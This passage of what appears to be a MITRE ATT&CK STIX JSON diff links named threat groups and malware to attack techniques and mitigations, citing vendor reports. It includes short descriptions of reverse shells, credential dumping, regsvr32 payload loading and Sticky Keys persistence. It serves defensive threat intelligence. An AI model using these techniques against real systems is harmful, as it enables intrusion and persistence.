+ { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.648Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used [Template Injection](https://attack.mitre.org/techniques/T1221) to launch an authentication window for users to enter their credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2db02b07-4dd3-4810-9103-1f8d7bd46a60", + "external_references": [ + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + } + ], + "modified": "2019-04-22T19:23:13.445Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used macros in Word documents that would download a second stage if executed.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ba80112-ffca-4c7e-ae63-fcbe3b9e689d", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.726Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. [Patchwork](https://attack.mitre.org/groups/G0040) also enumerated all available drives on the victim's machine.", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.580Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b427e519-8ec0-4ae3-9dda-273cc71f00eb", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.081Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used custom DNS Tunneling protocols for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-07-17T16:17:29.543Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:15:27.483Z", + "type": "relationship", + "id": "relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2019-07-08T14:33:15.821Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has created a scheduled task named \u201cAdobeFlashSync\u201d to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37ba7858-8765-4445-a65e-d2765b673b34", + "external_references": [ + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + } + ], + "modified": "2019-06-30T23:13:18.283Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) created a [Scheduled Task](https://attack.mitre.org/techniques/T1053) that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:37.694Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The \"ZR\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) will check to see if known host-based firewalls are installed on the infected systems. [BACKSPACE](https://attack.mitre.org/software/S0031) will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to delete files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0b3dc96-7adb-4d38-b3cf-b448535ffa60", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.921Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7909f5a6-3924-4259-aedd-2e48123f563a", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used filenames and Registry key names associated with Windows Defender. The group has also stored obfuscated JavaScript code in an image file named temp.jpg.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-06-28T15:30:58.343Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T11:39:52.290Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95bbada2-6096-475e-b8c5-7b79351b03a0", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:27:15.721Z", + "type": "relationship", + "id": "relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.031Z", + "source_ref": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T18:57:59.505Z", + "type": "relationship", + "id": "relationship--49faeaac-7118-4705-8c29-9ce2a88ae958", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--37a3f3f5-76e6-43fe-b935-f1f494c95725", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:04:31.785Z", + "type": "relationship", + "id": "relationship--bdac804d-9081-4dae-8bc7-877c771e5d72", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) uses Putty and VNC for lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e", + "external_references": [ + { + "source_name": "Securelist GCMAN", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "relationship_type": "uses", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-10T19:28:01.000Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f", + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "relationship_type": "uses", + "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072)'s service-based DLL implant can execute a downloaded file with parameters specified using CreateProcessAsUser.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78e60088-f7bf-42bd-92f4-1880f755e363", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.102Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:04:18.630Z", + "type": "relationship", + "id": "relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on network settings and Internet proxy settings from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--847752f4-59a2-46e9-ae28-befe0142b223", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9066dcee-7c80-429c-a5cc-77458e891349", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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Retrieved June 29, 2017.", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + } + ], + "modified": "2019-06-28T15:24:31.789Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T15:36:46.868Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--960d642d-a2f7-4b78-8363-fa94aff7bf86", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012)'s selective infector modifies executables stored on removable media as a method of spreading across computers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bad7b38-36b5-4208-9895-e4a113c511a3", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. 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Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "relationship_type": "uses", + "target_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:12:34.468Z", + "type": "relationship", + "id": "relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate. Some malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) also uses steganography to hide communication in PNG image files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f837cc68-8715-4301-ae15-bf89c8b1f7ee", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. 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(2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:05.593Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/groups/G0048) has used an RSS feed on Livejournal to update a list of encrypted C2 server names.", + "type": "relationship", + "created": "2017-05-31T21:33:27.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2019-03-25T16:54:05.799Z", + "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit\u2019s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16c7058c-8fa5-4477-8332-9e76fcb38924", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.475Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of capturing screenshots of the victim's machine.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d761618-146f-4219-9b50-a4ceca6b2210", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-29T18:23:46.229Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) replaces the Sticky Keys binary C:\\Windows\\System32\\sethc.exe for persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + 